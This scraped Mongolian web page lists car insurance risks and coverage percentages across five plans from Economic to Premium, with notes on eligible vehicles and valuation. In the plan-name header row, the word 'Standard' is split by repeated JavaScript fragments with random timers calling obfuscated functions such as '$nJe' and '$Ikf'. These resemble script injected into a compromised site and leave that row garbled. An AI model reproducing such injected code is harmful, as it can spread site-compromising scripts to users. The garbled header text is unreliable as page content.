# | ЭРСДЭЛ: |
Даатгагч даатгалын зүйлийг ямар эрсдэлээс даатгах вэ?
№ | Даатгалын эрсдэл | Хамгаалалтын нөхцлүүд | ||||
Economic | Economic plus | Stdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andard | Stdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andard plus | Premium | ||
Экономик | Экономик + | Стандарт | Стандарт+ | Премиум | ||
1 | Байгалийн эрсдэл | 80% | 100% | 100% | 100% | 100% |
2 | Гал, бүх төрлийн тэсрэлт, дэлбэрэлт | 80% | 100% | 100% | 100% | 100% |
3 | Зам тээврийн хөдөлгөөнд оролцох үеийн бүх эрсдэл | 80% | 90% | 100% | 100% | 100% |
4 | Зориулалтын гражид байх үед сантехникийн уснаас учирсан хохирол | 90% | 100% | 100% | 100% | |
5 | Зам тээврийн хөдөлгөөнд оролцоогүй байх үеийн бүх эрсдэл | 80% | 90% | 100% | 100% | |
6 | Гуравдагч этгээдийн санаатай болон санаандгүй үйлдлээс учирсан хохирол | 70% | 90% | 100% | 100% | |
7 | Ослын бус үед зөвхөн салхины шил, цонхны шил хагарах, гэмтэх / жилд 2 удаа / | 90% | 100% | 100% | ||
8 | Жолоо шилжүүлэх үеийн | 70% | 90% | 100% | ||
9 | Зайлшгүй тохиолдолд замгүй газраар явах үеийн бүх эрсдэл | 50% | 70% | 90% | ||
10 | Жолоочийн гэнэтийн осол (гэрээний хугацаанд) | нийт 100.0₮ хүртэл | нийт 200.0₮ хүртэл | нийт 500.0₮ хүртэл | ||
11 | Зорчигчийн гэнэтийн осол (гэрээний хугацаанд) | |||||
12 | Эд ангийн хулгайн эрсдэл | 80% | 100% | |||
13 | Их биеийн хулгайн эрсдэл | 80% | 100% | |||
14 | Хулгайн сэдлээр учруулсан хохирол | 90% | 100% | 100% | ||
15 | Нэмэлт зардлын даатгал* (гэрээний хугацаанд) | нийт 200.0₮ хүртэл | 400.0 хүртэл | нийт 500.0₮ хүртэл | ||
16 | Өөрийн буруугаас учирсан тохиолдолд дээрхи нөхөн төлбөрийн хэмжээг дараах хэмжээгээр бууруулна. | 20% | 20% | 10% | 5% / 0% | 0% |
Авто тээврийн хэрэгслийн даатгалд ямар төрлийн тээврийн хэрэгсэл даатгуулж болох вэ?
- Бүх төрлийн авто тээврийн хэрэгсэл
- Зөвшөөрөгдсөн нэмэлт тоноглол
# | ҮНЭЛГЭЭ: |
Даатгалын үнэлгээ:
- Авто тээврийн хэрэгслийн даатгалын үнэлгээг зах зээлийн үнийн жишгийг харгалзан даатгуулагч, даатгагч харилцан тохиролцоно.